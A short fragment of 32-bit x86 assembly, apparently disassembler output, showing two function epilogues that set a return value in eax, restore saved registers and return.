xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret